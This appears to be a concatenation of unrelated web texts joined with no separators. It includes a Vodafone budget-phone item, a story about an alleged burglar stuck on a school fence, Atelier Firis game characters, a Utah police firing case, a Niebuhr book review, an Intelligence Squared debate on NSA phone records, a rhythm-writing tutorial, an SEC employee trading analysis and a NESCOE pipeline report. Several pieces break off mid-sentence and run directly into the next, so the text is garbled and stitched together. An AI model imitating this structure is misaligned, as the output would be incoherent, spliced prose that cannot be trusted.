Vodafone has made what it's describing as the "world's cheapest phone." The Vodafone 150 will sell for less than $15. From the press release Here's Patrick Chomet, Vodafone's "Group Director of Terminals," introducing the 150.[/youtube]This is good news. By providing people in the developing world with access to banking and healthcare services, mobile phones can have a dramatic and positive impact on people's lives. The M-Pesa money transfer system, Frontline SMS:Medic, and Project Masiluleke are just a few examples. Of course, we still have to work out that e-waste problem though.A hilarious photo captured the moment an alleged burglar got caught hanging on a school fence after his baggy pants got stuck on a spike when he tried to escape.
A locksmith claims he witnessed an unidentified man attempting to force his way inside classrooms at Miles Elementary School in Tucson, Arizona, on Friday, according to reports.
When he realized he had been spotted, the alleged burglar attempted to flee the grounds by jumping over an iron fence surrounding the school.
However, his escape didn't go as planned, as the man's baggy pants got hooked on a spike and exposed his underwear for the world, and police, to see.
An unidentified man was photographed hanging from a fence with his pants down at Miles Elementary School in Tucson, Arizona, on Friday. He was allegedly trying to break into the school when he tried to flee the scene
Passerby Jesse Sensibar saw the whole bizarre and amusing incident unfold and snapped the photo of the man hanging upside on the fence, reported ABC 15.
He posted the photo to Facebook and said: 'One more reason not to jump fences in baggy pants. I saw this homie hanging around at the Miles School this morning.
'I was going to help him off the fence but by the time I got back around the block the cops were rolling up two cars deep.
A passerby snapped the photo of the man hanging upside and wrote on Facebook: 'One more reason not to jump fences in baggy pants' Pictured: Miles Elementary School
'I don't know what his story was but it must not have been good enough, fifteen minutes later when I went back by the other direction going home he was cuffed up in the backseat. He smiled for the camera.'
The school district and the local police department have not commented on this matter yet.
Miles is a small school with grades kindergarten through eighth grade. Average enrollment during the school year is 390 students.Atelier Firis adds Logy, 11 year-old Escha
Four more new characters also named.
Escha and Logy, from Atelier Escha & Logy: Alchemists of the Dusk Sky, will appear in Atelier Firis: The Alchemist of the Mysterious Journey, the latest issue of Dengeki PlayStation reveals. But Escha is a bit… different.
Escha, voiced by Rie Murakawa and designed by Yuugen, is an 11 year-old alchemist. She is a lively, gluttonous girl living in Flussheim. She is curious, taking interest in various things, and nowadays manipulates Logy. She is childhood friends with Mea, who lives in the same town.
Logy, voiced by Kaito Ishikawa and designed by NOCO, is a 27 year-old blacksmith. You’ll meet him in Flussheim, and he’ll also do weapon creation for Firis. His illustration seems the same as it was in Atelier Sophie: The Alchemist of the Mysterious Book, but his 3D model may have changed.
Other new characters introduced in Dengeki PlayStation include:
Kald Lau (voiced by Hiroki Tochi, designed by Yuugen) – A young historian from the “Nation of Evidence,” who makes it his purpose to record history. He has a cool and calm personality, but isn’t so good at talking to girls following a certain incident that gave him a phobia of women.
Kirsche Litter (voiced by Ayano Yamamoto, designed by Yuugen) – A 10-year-old alchemist. A girl who lives in Flocke, the snow village, and the youngest to ever pass the certified alchemist exam. In spite of her age, her behavior is often somehow enlightened, but she also worries she doesn’t have enough age-appropriate friends.
Kai Holthaus (voiced by Ryousuke Morita, designed by NOCO) – 25 years old. A cheerful and bright sailor who lives in Flussheim, the lake town. He works hard to help the town flourish. And while he’s always doting on his little sister Mea, he has recently begun to consider her a bit of a nuisance. He has a good relationship with Logy, who he goes out to drink with.
Mea Holthaus (voiced by Rina Honizumi, designed by NOCO) – 12 years old. Kai’s younger sister and a cheerful tomboy who manages a shop. She loves fishing and often abandons the shop for it.
It is unknown if any of these characters, including Escha and Logy, will join the party.
Atelier Firis: The Alchemist of the Mysterious Journey is due out for PlayStation 4 and PS Vita on September 29 in Japan.
Thanks, My Game News Flash, Otakomu, and Games Talk.SUNSET CITY — A Utah appellate court on Thursday upheld the firing of Stewart Becker from the Sunset City Police Department after he reported for duty under the influence of alcohol.
According to court documents, Becker was fired from the police department in 2007 for reporting to duty with a blood alcohol level of 0.045 percent. His termination was previously upheld by the Sunset City Appeal Board, but Becker contested that ruling, arguing that the board had based its decision on the inadmissible results of a portable breathalyzer.
Becker claimed that without the results of that breathalyzer there was not sufficient evidence to support his termination and requested reinstatement with back pay and benefits.
In its decision, the court stated that there was substantial evidence to justify Becker's termination and that the appeal board had not exceeded its authority in upholding the city's decision.
The court stated that there was substantial evidence to justify Becker's termination and that the appeal board had not exceeded its authority in upholding the city's decision.
According to court documents, Becker's supervisor could smell a strong odor of alcohol coming from Becker when he reported for duty on April 1, 2007. His supervisor asked him to take a breath test and Becker consented by using his own breathalyzer, which registered a 0.045 percent. Two highway patrol officers also reported smelling alcohol coming from Becker's vehicle and seeing Becker eating mints and applying hand sanitizer in an effort to conceal the scent of alcohol.
Becker first appealed his termination in 2007, according to court documents, but was unable to obtain counsel and represented himself. He was later granted a new hearing in December of 2009 in order to be represented by an attorney.
During his hearing at the appellate court, Becker admitted that he reported for duty with alcohol in his system, but contested the city's determination that he was under the influence of alcohol — specified in Sunset City Police policy as 0.04 percent or greater. He argued that his breathalyzer results were unreliable and that the city did not follow its internal policy for drug and alcohol testing.
The court found that the breathalyzer results were relevant in the case for a number of reasons, including the presence of officers trained in performing portable breath tests and because Becker acknowledges that his breathalyzer registered a level of 0.045 percent.
According to testimony, Becker told his supervisor that he wanted to use his own breathalyzer because he knew it to be accurate. The court also found that because of the reliability of those results, the city was justified in its decision to not perform a urine test because doing so would have left the community without appropriate police protection.
Email:[email protected]
×A fog of know-nothing ideology, anti-intellectualism, cronyism, incompetence, and cynicism has, for eight years, enveloped the executive branch of the United States government. America’s role in the world and the policies that should shape and maintain it have been distorted by misguided decisions and by willful misinterpretations both of history and of current events. That fog is now being dispersed, and the vast intellectual and managerial resources of the United States are once again being mobilized.
A blessing of this time of liberation and hope is that serious works of political analysis and philosophy may contribute to the new administration’s approach to its daunting agenda of global and national problems. That Barack Obama has made clear his admiration for one of the books under review—Reinhold Niebuhr’s The Irony of American History—is in itself reassuring.1
It will take time to develop once again the elements of a coherent national program that most Americans can agree with and support, not to mention Congress, where the recent lack of a single House Republican vote for the President’s economic stimulus package makes a mockery of bipartisanship on important matters. In the meantime, thinkers and writers of various political persuasions offer a rich harvest of ideas and suggestions.
1.
Andrew J. Bacevich, in his introduction to the republished edition of Reinhold Niebuhr’s The Irony of American History, calls it “the most important book ever written on US foreign policy.” Certainly it would be hard to think of another book from the 1950s that retains, nearly sixty years later, both its compulsive readability and so much of its relevance. The elegance, strength, and charm of Niebuhr’s writing invite quotation at every turn. And behind the prophetic style lie wisdom, Christian charity, and a profound understanding of both history and the ways of human beings, individually as well as in groups.
The Irony of American History was published in 1952, the year in which Niebuhr suffered a stroke that limited his public activities for the remaining nineteen years of his life although he continued to teach and to write books. Primarily a Protestant theologian, Niebuhr, as a pastor in Detroit from 1915 to 1928, also became a social reformer. From 1928 to 1952, as a professor of theology at the Union Theological Seminary in New York, he was an influential voice on a wide range of issues, including politics, ethics, and foreign policy. He was a strong supporter of United States intervention in the war in Europe, but in 1946 was a drafter and signatory of the Federal Council of Churches statement that the atomic bombing of Hiroshima and Nagasaki was “morally indefensible.”
Niebuhr warns of “our dreams of managing history” as a source of potentially mortal danger for the United States. To quote Andrew Bacevich again, his book “provides the master key…to understanding the myths and delusions that…00:00:00 John Donvan:
So I'd like to first welcome to the stage Nick -- Nicholas Quinn Rosenkranz. He's a professor of law at Georgetown and a director of the Rosenkranz Foundation which initiated the Intelligence Squared series in 2006; and Jeffrey Rosen. He is president and chief executive officer of the National Constitution Center and professor of the George Washington University Law School. Let's welcome them onto the stage. Oh, you're here already.
[applause]
John Donvan:
So I'll take the center, because I'm moderate, moderating. Tell -- what I want to have you share with the audience is what's the purpose of Intelligence Squared, which normally does policy debates, partnering with the National Constitution Center, and how did we come to be here tonight?
Jeffrey Rosen :
So, the National Constitution Center's partnership with Intelligence Squared is the proudest thing we do. I think it is the crown jewel of our town hall programming.
00:00:57 And it is premised on this idea that Nick and I both share that there's a difference between political debates and constitutional debates. So whenever I teach constitutional law I begin by saying, "I'm not interested in your policy or political views.
I want you to learn enough about the arguments on either side of the constitutional debate to make up your own minds.” And that's what we're going to talk about tonight.
So, for example, Intelligence Squared has already held two phenomenal debates about surveillance. One was "Spy on me, I'd rather be safe." The other was "Snowden was justified." Tonight I don't care whether you think that Snowden was justified or whether you'd rather be safe. What I want you to do is listen to the text of the Fourth Amendment to the Constitution, which Nick will read to you and help explicate and also to the historical and contemporary arguments on either side about whether or not NSA surveillance is like the general warrants that inflamed the American Revolution by authorizing searche s without particularized suspicion or whether it's justified because we have no expectation of privacy in phone numbers that we voluntarily turn over to phone companies.
00:02:03 And believe me there are strong arguments on both sides, and it's not clear which way the Supreme Court would rule. So it will be perfectly plausible and principled for you to conclude that you don't like NSA surveillance but you think the Fourth Amendment allows it, or, conversely, you might conclude that you very much do like NSA surveillance but you think the Fourth Amendment prohibits it.
John Donvan:
So it's a little counterintuitive in that way, and I want to turn to Nick. He's a professor of constitutional law. And he is going to just take about a minute and a half to give you some things to look at in the text of this amendment to sort of get at the idea of the kinds of things these debaters need to test. Nick.
Nick Rosenkranz:
Yeah, so you have up there on your screen the text of the Fourth Amendment. I'll just draw your attention to a couple of details. First, notice “T he right of the people to be secure in their persons, houses, papers, and effects against unreasonable searches and seizures shall not be violated. ”
00:02:59 I guess our first question will be, a re these searches at all? Are these searches or seizures? B ecause if they aren't then this amendment is not in play at all. So that'll be sort of question one, a re these searches or seizures? Then, second, if they are, are they unreasonable? How do you think about the reasonable ness of a search or seizure?That'll be sort of question two. And then notice there's this second clause, "No warrants shall issue but upon probable cause." A tricky question is, what's the relationship between these two clauses? Does it quite require that every search have a warrant? Doesn't exactly say that. It's -- you know, these two clauses have a kind of a tricky relationship. So, keep an eye on that. And then the last thing I'd urge you to keep your eye on is you may hear the phrase, "reasonable expectation of privacy." It's a kind of crucial doctrinal phrase in the Fourth Amendment context.
00:03:56 Just -- you might just ask yourself, how do you form such a thing? How did you form your reasonable expectations of privacy? Can they change? S o when Snowden says that everybody's reading your -- that the NSA's reading your email, does it now then become unreasonable to expect privacy in your email? There's sort of a circularity built into the idea of a reasonable expectation of privacy. So, you maybe just keep your eye on that. I think we're going to hear a lot about that tonight.
John Donvan:
And there will be a quiz at the end of all this.
[laughter]
Actually there won't be but you are all going to be sitting in judgment of how well these debaters do on these quite fine points. So, I want to thank these gentlemen for being on the stage. Thank you for all being here. And --
[applause]
-- we'd like to welcome our debaters to the sta ge. Please let's first welcome Alex Abdo.
[applause]
Alex, take your seat, and Elizabeth Wydra, your partner. Ladies and gentlemen,
Elizabeth Wydra.
00:04:59 [applause]
Thank you. Good luck. Stewart Baker.
[applause]
And John Yoo.[applause]
Thank you. John, you are from Philadelphia, are you not?
John Yoo:
I am.
John Donvan:
There you go. I hear your mom is here.
John Yoo:
Yes, my mom is here, because there's no way the other side could possibly win with my mother in the audience.
[laughter]
John Donvan:
All right. We're going to start formally now. I just want to tell you that in a minute,
once we begin, I'm going to ask you to vote before you hear the debate about your view on this motion. And that keypad at your seat will be how you do it. You'll push number one if you're for the motion, two if you're against, and three if you're undecided. But let's begin the formal part of this evening. And I want to ask your indulgence in one thing. Because we're going to be ultimately a radio broadcast, there are a number of times in the evening when I might ask for your applause, which links to coming back and forth from breaks that the sta tions take on NPR when we're on NPR stations.
00:06:06 So, I'll just raise my hand. And when I do that, you have to spontaneously applaud. So,
we can begin by -- one point I'd like to make is that our founder of Intelligence Squared U.S. is here. He's come down from New York. He's the reason we have this whole series. He's in the front row. And Bob, if you want to just stand up and take a bow, I'd like to welcome Bob and thank him for that.
[applause]
A smart old guy once said, and I paraphrase, “If you don't want your enemies knowing your secrets, then don't share them with your friends.” That was Benjamin Franklin,
who obviously had a well -developed sense of privacy himself, as did his friends, the framers of the Constitution, when they went on to add the Fourth Amendment to the Constitution. And that is the one that bars the government from searching our houses and from going through our stuff without a good reason and without a warrant.
00:06:56 But none of those framer guys really foresaw this world of the internet and mobile phones and the government's present practice of sweeping up huge amounts of data from both of the sources on us. And the question is, does that violate the framer's intent? What would Ben Franklin say about all this? Well, that sounds like the makings of a debate. So, let's have it. Yes or no to this statement: “Mass collection of U.S.
phone records violates the Fourth Amendment”, a debate from Intelligence Squared U.S. I'm John Donvan. We are here at the Natio nal Constitution Center in Philadelphia.
We have four superbly qualified debaters, two against two, arguing for and against this motion, “Mass collection of U.S. phone records violates the Fourth Amendment”. Our debate goes in three rounds, and then the live audience here in Philadelphia will vote to choose the winner, and only one side wins. Again, our motions is “Mass collection of U.S. phone records violates the Fourth Amendment”, and here to argue for the motion,
let's first meet debater team numbe r one, the for side, and debater number one. Please welcome Alex Abdo.
00:08:04 [applause]
And Alex, just a little biography on you. You're a Staff Attorney with the American Civil Liberties Union. You are involved in the ACLU's lawsuit against the N SA's phone record program. In June of 2013, pertinent to your case, it was revealed that Verizon was required to turn phone records over to the NSA. And as it turns out, your outfit, the ACLU, is a Verizon customer. So, my question is, does this now mean you all switch massively to AT&T or Sprint? What happens?
Alex Abdo:
No, we're still Verizon customers. And I don't think we'd escape the NSA that easily.
But it's one of the reasons why we had a minor cause to celebrate at the ACLU, because we could finally prove the NSA is collecting our records, which was allowing us to have our day in court.
John Donvan:
It was a good thing then.
Alex Abdo:
I didn't say that.
[laughter]
John Donvan:
Thanks, Alex Abdo. And who is your partner?
00:08:59 Alex Abdo:
I'm joined by the illustrious Supreme Court and Constitutional Law Expert, Elizabeth Wydra.
John Donvan:
Ladies and gentlemen, Elizabeth Wydra.
[applause]
Elizabeth, welcome. You are also arguing for the motion that mass collection of U.S.
phone records violates the Fourth Amendment. You are Chief Council at the Constitutional Accountability Center. That's a think tank and a law firm and an action center whose mission is, to quote, “fulfill the progressive promise of our Constitution's te xt and history.” And I'm just wondering, since we're here in Philadelphia, about two blocks from where the Constitution was drafted, does that give you a bit of an exciting jolt?
Elizabeth Wydra:
Oh, yes. I think it's fabulous. You know, I don't know if it's because I was christened on the 4th of July in a bicentennial year or maybe my mother read a lot of American history while she was pregnant with me, but since birth, I've always been very inspired by the work of those framer guys.
John Donvan:
You sound like a total ringer with the July 4th birthday.
Elizabeth Wydra:
I know, right? I'm a lucky girl.
John Donvan:
To the team arguing for the motion, ladies and gentlemen.
00:09:59 [applause]
And that motion is mass collection of U.S. phone records violates the Fourth Amendment. We have two debaters arguing against this motion. Please first welcome Stewart Baker.
Stewart Baker:
Good to see you.[applause]
John Donvan:
Stewart, you're a partner at the law firm Steptoe & Johnson. You were -- you've got some pretty good credentials in terms of this issue. You were Homeland Security's First Assistant Secretary for Policy. You've also served as General Coun sel at the NSA. That was back in the '90 |
all 16th notes (in the example I’ll give), or just a busier groove than what you started out with, regardless of the meter. There is no exact formula for how to do this, other than this simple set of instructions:
1. Write out the main rhythm of the piece.
2. Write another rhythm above or below the first one, making sure to place a note where there was a rest or held-out note in the first one, to fill in the gaps or “complement” it.
3. a.) Keep in mind this second rhythm should make sense on its own, too. Notes in the second rhythm can certainly overlap and/or double those in the first rhythm in order to make it all flow better together AND separately.
b.) Or, leave some gaps and fill in only strategically, sparingly, or wherever it makes the most sense or feels right for you and for the piece (although this could be considered rhythmic counterpoint).
4. Expand rhythms out into melody/notation for your instruments of choice.
Keep in mind that not every piece calls for this, so listen for the context of when to use it and when not to. This works well in live music settings also! Its easiest in a group with a drummer and a percussionist, but experiment with other instrumentations too!
A clear example of this is in a piece I did called “Ceramics” from The Gathering Mist’s album, “Reservoir” (notated above – follow along!), which starts off with a jembe playing a syncopated rhythm in 11/8, panned to one side. After four bars a dumbek enters, panned to the other side, playing a complementary rhythm to the jembe, still in 11/8. Four bars later at measure 9, the jembe and dumbek switch parts but the same principle still applies. Once the dumbek enters on the first beat of measure 5, the rest of that beginning section to the piece sounds like straight 16th notes because of this rhythmic complementing process. Enjoy!
“Ceramics”
There are a couple subtle hints of this technique sprinkled throughout other tracks I did for both of The Gathering Mist’s albums. And keep in mind, this isn’t necessarily confined to only percussion instruments…
AdvertisementsPhoto
Is the Securities and Exchange Commission a warren for insider trading? If you’ve read recent headlines like “The Incredible Stock-Picking Ability of SEC Employees,” you’d think so.
The likely truth, however, is that not only is no insider trading going on, but that the S.E.C. staff members are just as bad as the rest of us at picking stocks.
The suggestion that the staff committed insider trading stems from a draft paper by Professor Shivaram Rajgopal of Emory University and a doctoral student at Georgia State, Roger M. White, banally titled “Stock Picking Skills of SEC Employees.” The paper is an early draft, and according to Professor Rajgopal, it was not meant to be publicly circulated. It was posted internally at the University of Virginia for a talk and was picked up by the news media, unintentionally as far as the authors were concerned.
It’s a really clever paper, though, even in its early form. The authors made a Freedom of Information Act request to the S.E.C. for all trading data by the agency’s employees from late 2009 through 2011. The authors then analyzed the data for abnormal trading by S.E.C. staff.
The authors conclude that “S.E.C. employees continue to take advantage of nonpublic information to trade profitably in stocks under their regulatory purview.” And from that line came the suggestions that S.E.C. staff members may have been committing insider trading.
When you read the paper, you find that the authors’ conclusions are much more limited. In response, the S.E.C. explained that any abnormal trading was because employees were forced to sell certain stocks if they were about to begin an investigation related to those companies. So the title of the paper could have perhaps been “S.E.C. Staff Profits Handsomely Through Dumb Luck.”
In reality, the paper found that the S.E.C. employees did not earn any abnormal return when purchasing stocks (abnormal returns here is a term of art and simply means that the S.E.C. staff made more than what would be expected for an investor without inside information or stock-picking skill – a so-called “uninformed investor”). It found that the S.E.C. staff members buy stocks just like any “uninformed investor,” meaning they earn what anyone else would – the market return. So far, so good.
However, the authors also found that the S.E.C. staff is abnormally good at selling stocks at the right time. When the agency staff members sold during the period analyzed, the authors found, they made gains of approximately 8 percent above the “uninformed investor.” In other words, the agency’s staff members were dumping their shares before bad news, such as – not coincidentally — an S.E.C. investigation.
This finding of the gains is based on analyzing what an uninformed stock portfolio would make over a 12-month period and comparing it to what the S.E.C. staff members actually made. Yet, time horizons this long are likely to be affected by other events. The authors didn’t use shorter time frames, which might have helped make their case stronger.
The second finding of the authors is that of 56 S.E.C. investigations examined, it appears there was trading by agency employees in six cases in advance of the public announcement of the investigation.
The authors’ third finding concerns the sale of stocks around the filing of 144 notices, which are mostly paper filings by insiders recording a sale of stock. Because they are filed via paper rather than electronically, they have a longer period before the made widely available to the public. The authors find that in this period, the S.E.C. staff members sold stocks with 144 notices at a greater level than buying such stocks.
The first finding – that S.E.C. staff members appear to sell shares with abnormally good timing – is an important one, even though it may be just a function of their job requirements.
The other two findings are interesting, but hard to draw conclusions from other than they provide some support for the main finding. The authors’ discovery that there was trading around six investigations is simply not a sample meaningful enough to make any conclusions. As for the larger number of sales around the filing of 144 notices, the authors do not look at the returns around these sales. Finding more selling than buying, but without knowing the returns, may be simply be a timing issue.
Once the paper was publicized, the S.E.C. responded with its own explanation. John Nester, an S.E.C. spokesman, said that “each of the transactions was individually reviewed and approved in advance by the ethics office.” He continued that “most of the sales were required by S.E.C. policy. Staff had no choice. They were required to sell.”
The explanation appears to jibe with the fact that the authors found abnormal returns for sales and not purchases. Assuming that it is indeed correct, this is not insider trading. There is no intent here to give ill-gotten gains to S.E.C. staff, and indeed none has been alleged.
The gains, if they are there, are simply because of a staff rule, and likely gains that no one was aware of before. This is probably why there is more S.E.C. staff selling rather than buying, based on the 144 notices that were analyzed. The S.E.C. staff must also sell when they take employment with the agency to come into compliance with the ethics requirements, and so this likely also creates more biases toward sales.
Given the agency’s response, I suspect that the authors will tone down the parts about insider trading and add some more analysis that affirms the S.E.C.’s story. If nothing else, the authors now have another explanation for their findings.
In the meantime, the kerfuffle about the “insider trading” has also obscured another finding in the paper. The authors found only 7,200 trades amounting to about $66 million worth of stock over a three-year period. That is two trades per employee over that time. That is hardly the stuff of market-timers and day traders.
The paper also found that the S.E.C. staff is composed of bad stock pickers. Staff members earned abnormal returns when investing in common stocks (because of the selling), but they lose money buying and selling foreign stocks and exchange-traded funds, and appear to be following the pattern of other investors when trading everything but common stock.
Like everyone else, S.E.C. staff members rode the technology wave heavily (making 1,181 trades in these stocks). Pharmaceutical stocks were the second-favorite choice with 390 trades. Here’s a shocker: During the period, Apple (a stock with one of the highest market values) was the most popular stock for S.E.C. employees. Does this sound like a sophisticated bunch of traders trying to gain an edge that no one else has?
If the S.E.C.’s sale rule had not existed, the paper would almost have certainly been about how bad even the agency’s own employees are at buying and selling stocks. But the rule exists, as do the paper’s findings on sales.
If the paper’s empirical findings hold up, this will be its value and it will be quite a good paper. It will show that the S.E.C. might want to rethink its sale rules for when investigations are initiated. The agency may also want to revisit its stock holding rules generally. But under no circumstance is there any evidence in this paper that the policy is promoting insider trading. Dumb luck maybe, but not insider trading.Over an eight-month period in 2013 and early 2014, closed-door discussions by an obscure but powerful organization, New England States Committee on Electricity (NESCOE), led to a decision by its members to impose a charge of dubious legality on all New England electricity ratepayers in order to support the funding of a natural gas pipeline that is planned to traverse Massachusetts from Richmond in the west to Dracut in the east.
The written justification for the unpopular pipeline was drafted by a Maine industry lobbyist, Anthony Buxton, and adopted by the Maine member of NESCOE, Tom Welch. Mr. Welch apparently added the idea for publicly funding the pipeline by charging New England ratepayers, and convinced his colleagues from Connecticut and New Hampshire of the wisdom of the scheme.
The three other NESCOE states – Massachusetts, Vermont, and Rhode Island – apparently went along with it.
Outraged landowners, conservation groups, and townships protested the pipeline and its destructive path throughout the summer, arguing that alternative measures are available that can meet New England’s energy needs – increased development of renewable fuel sources, incentives for decreased demand, market adjustments, and energy efficiency requirements.
Although Governor Patrick of Massachusetts appears for now to have listened to the protests, pausing state involvement with the pipeline to better analyze the state’s energy needs and options, the pipeline is proceeding, and continues to be advocated by NESCOE staff.
NESCOE: “A Shadow Bureaucracy”?
NESCOE is one of several “regional state committees,” or RSCs, in the country. The purpose of these Committees is to coordinate regulatory oversight among the states and to facilitate interstate coordination and communication relating to electric transmission within a region.
To simplify a complex structure, the Regional State Committees include one for the Midwest states, one for the Mid-Atlantic and nearby states, and one for the Southwest states. Like NESCOE, two of these are funded by electric ratepayers through a tariff on ratepayers collected by the applicable regional “grid” organization.
However, unlike NESCOE, the other RSCs are generally transparent, and subject to the Open Meeting laws of the states that they represent. The Midwest RSC, for example, states, with regard to its bylaws, “Under [our] bylaws, these meetings are open…Member states operate under open meeting laws and the initial board believed it appropriate for [us] to operate with similar transparency.”
NESCOE’s decision-making process has not been transparent. In one email, for example, a NESCOE staffer writes that he advocates a “closed door” process because “the court of public opinion can be fickle and recalcitrant.”
And, although NESCOE met with and coordinated frequently with “stakeholders,” such as ISO-NE (which manages the New England electricity grid), NEPOOL (the New England Power Pool), state energy regulators, and others, the general public has not been included. In the words of the Conservation Law Foundation, “formulation of and negotiations around [energy] proposals have been conducted almost completely behind closed doors.”
Moreover, as a general rule, multistate or regional bodies are required to respond to document requests made under a state Freedom of Information Act request if they are supported by public funds and if they perform governmental functions.
“I don’t think of myself as a government agency, but I tend to give out almost everything that anyone asks for,” said William H. Smith, Jr., Executive Director of OMS, the Midwest Regional State Committee, analogous to NESCOE. Mr. Smith said that the FOIA matter had not come up, but that he would comply with a request if one were made, subject to standard exceptions, such as those relating to litigation and commercially sensitive information.
NESCOE, however, has refused to comply with a FOIA request from the Conservation Law Foundation, stating in a July 14, 2014 memorandum, “NESCOE is not a state government agency and is not subject to the state laws CLF references.”
Yet, a strong case could be made that NESCOE has been performing government functions. The six New England Governors appointed the Managers from the six states, and the actions undertaken by NESCOE to develop energy policy on their behalf appear to be governmental functions. NESCOE’s Facebook page identifies itself as a “Government Organization.”
In fact, unlike the other Regional State Committees, the scope of NESCOE’s activities goes beyond merely facilitating communication among the six New England states, and appears to be more in the nature of initiating and developing energy policy.
From its inception, some questioned the organization’s size and budget. When, in 2005, FERC (Federal Energy Regulatory Commission) proposed to accept the tariff imposed on ratepayers for the support of NESCOE, a group called the Eastern Massachusetts Consumer-Owned Systems (EMCOS) protested the budget for NESCOE – $2,140,000 for 2013 — complaining that it far exceeded those of Regional State Committees “covering significantly larger geographic footprints and significantly larger and more diverse groups of regulator interests.”
EMCOS also stated that no other Regional State Committee was “a source of comparative justification” for the size of NESCOE’s staff or for its budgetary set asides for outside consultants and legal counsel. EMCOS contrasted NESCOE’s “shadow bureaucracy” with the “more modest operations” of other RSCs, which, according to EMCOS, generally are funded only enough for “an Executive Director’s salary and reimbursements for state regulators’ travel, meals and lodging.” OMS, for example, with an Executive Director, a Deputy Director, and two office managers, is considerably smaller than NESCOE. And the OMS budget request for 2013 was “for a range between $713,900 and $948,400.”
Anatomy of the Pipeline Decision
Documents obtained throughout spring and summer 2014 from the six individual State members of NESCOE (as opposed to the organization itself) by the Conservation Law Foundation under a Freedom of Information Act request cast light on NESCOE’s decision to embrace a natural gas pipeline. The picture that emerges shows that Massachusetts, Maine, New Hampshire, Vermont, Connecticut and Rhode Island had differing degrees of enthusiasm for the pipeline project.
Maine, where electricity rates are 27 percent higher than in the rest of the United States, was the driver of the Kinder Morgan pipeline project. In June 2013, Maine’s state legislature passed comprehensive legislation, the “omnibus energy bill,” supported by Governor Paul LePage and Maine PUC Chair Tom Welch, who is also a governor-appointed, Manager of NESCOE.
The legislation included an unusual provision for the PUC to collect fees from Maine ratepayers to buy up to $75 million annually in natural gas pipeline capacity, according to an article in the Midcoast Maine’s Free Press.
Pipelines are normally required by the Federal Energy Regulatory Commission to be funded by private contracts for natural gas capacity. The Maine arrangement sweetened the pot for potential pipeline companies to locate in the Northeast by guaranteeing that a certain percentage of the capacity would be purchased publicly by State ratepayers, who would, in theory, eventually reap the benefits of lower energy costs.
Around the time of passage of the Maine legislation in June, Kinder Morgan met with Governor LePage to discuss Maine’s energy policy.
Critics of the unusual funding arrangement argued that Maine ratepayers should not be funding natural gas investments without help from the New England region as a whole.
NESCOE’s Tom Welch said that he was hopeful that other states would jump on board, but admitted that it would be very difficult convincing them, according to the Free Press.
The FOIA’ed documents show that throughout the fall of 2013, Mr. Welch sent numerous emails, developed materials, and organized conference calls with TransCanada, Spectra, and Kinder Morgan to discuss increasing pipeline capacity regionally.
To convince his NESCOE colleagues of the merits of the plan, Mr. Welch leaned heavily on a memorandum drafted in September 2013 by Maine lobbyist, Anthony W. Buxton. Mr. Buxton had advocated the Maine legislation on behalf of his client, the Industrial Energy Consumer Group, (IECG) a trade association that represents large industrial facilities such as pulp and paper mills in Maine.
The Buxton memorandum stated that New England should follow Maine’s example, noting that, “the State of Maine’s action has given additional life to the ongoing effort to build…the new Tennessee Gas 500 to 800 MMcf/day pipeline… known as the Kinder Morgan project.” The challenge, he stated, “is to cause [the pipeline] to be built at a size that would bring the cost of natural gas down to the price levels paid in states outside of New England.”
Commissioner Welch adopted Mr. Buxton’s memorandum, writing “Tony, would you mind if I used the attached…in my efforts to make the case [for a pipeline] to my NE colleagues?” Mr. Buxton replied, “Of course, the IEGC and I would be thrilled.”
Mr. Welch also included his own idea for a framework whereby ISO-NE (the New England grid) would include the pipeline cost in its electricity rates as “an infrastructure recovery charge,” meaning that New England ratepayers would pay for some part of the pipeline construction and natural gas capacity. If ISO-NE proved to be reluctant to do this, he added, individual states could find mechanisms, such as Maine’s approach, to purchase their share of incremental electric load.
On September 25, 2013, Commissioner Welch took the Buxton memorandum to a meeting in Boston with Connecticut’s NESCOE Manager, PUC Commissioner Dan Esty.
Commissioner Esty was apparently convinced of the merits of the pipeline plan. New Hampshire’s NESCOE Manager, Robert Scott, however, was dubious. Mr. Scott sent an email to Mr. Esty on October 11 requesting “a couple of minutes together so that I could share some of New Hampshire’s concerns regarding the socialization of transmission costs.”
Connecticut prevailed, however. An email dated October 16 from New Hampshire PUC Analyst George McCluskey to former New Hampshire PUC Commissioner, Michael Harrington, stated, “Esty got help from National Grid’s Ron Geratowski in persuading NH of benefits of infrastructure package.”
Meanwhile, the gas and electric industries were fully aware of NESCOE”S interest in developing energy infrastructure. NESCOE’s Gas-Electric Focus Group, composed of representatives from the gas and electric industries, state officials, ISO-NE representatives and others had been meeting periodically, from October 2012 to October 2013 to discuss long-term solutions to the region’s gas-electric needs. This Group also reviewed and was invited to comment on the Black & Veatch Gas-Electric study that was released on August 26, 2013. Tennessee Gas Pipeline and Spectra both commented on the study in October.
A flurry of NESCOE activity ensued in late fall of 2013. Managers and Staff discussed pipeline implementation and authority issues; NESCOE’s legal counsel prepared an analysis of the funding scheme, and Commissioner Welch organized conference calls with Spectra Energy, Kinder Morgan, Portland Natural Gas Transmission System, and TransCanada, all of which already had projects in various stages of consideration.
In December, the New England Governors formally announced their “Commitment to Regional Cooperation on Energy Infrastructure Issues.” The document states, in part, “The Governors commit to work together, in coordination with ISO-New England and through NESCOE to…ensure that the benefits and costs of…pipeline investments are shared appropriately among the New England States.”
That the pipeline plan moved forward at breakneck speed in fall of 2013 and winter of 2014 is evident from numerous communications. Commissioner Welch’s February 6 email to NESCOE Managers and staff states, “NESCOE /NESCOE counsel [will] be moving very quickly to work on possible language for a tariff.” And at one point, NESCOE President, Ann G. Berwick, also Chair of the Massachusetts Department of Public Utilities, said to Commissioner Welch in an email, “Whoa, whoa. I haven’t had a chance to look at this,” and “…I was not in the loop on DOER’s [Department of Energy Resources] communication… This is not an indication of any…absence of communication among MA energy agencies – just that everyone is moving too fast.”
On January 8, 2014, Kinder-Morgan sent letters to townships along its proposed route, informing them that the company would begin contacting landowners in the coming weeks to arrange to survey properties.
In late January, NESCOE made a formal request to ISO-NE, operator of the New England power grid, seeking “technical support and assistance with tariff filings related to electric and natural gas infrastructure in New England.” Specifically, NESCOE requested support in developing a tariff for the cost of construction of new, or expansion of existing, pipelines, and support in obtaining FERC approval of the ratepayer tariff.
Forced to Pay for an Unpopular Pipeline?
Referring to the financing scheme, Commissioner Welch said in the Portland Press Herald’s January 23 issue, “’It’s an unprecedented and remarkable approach…but it reflects the fact that the price of natural gas drives the price of electricity in New England.”
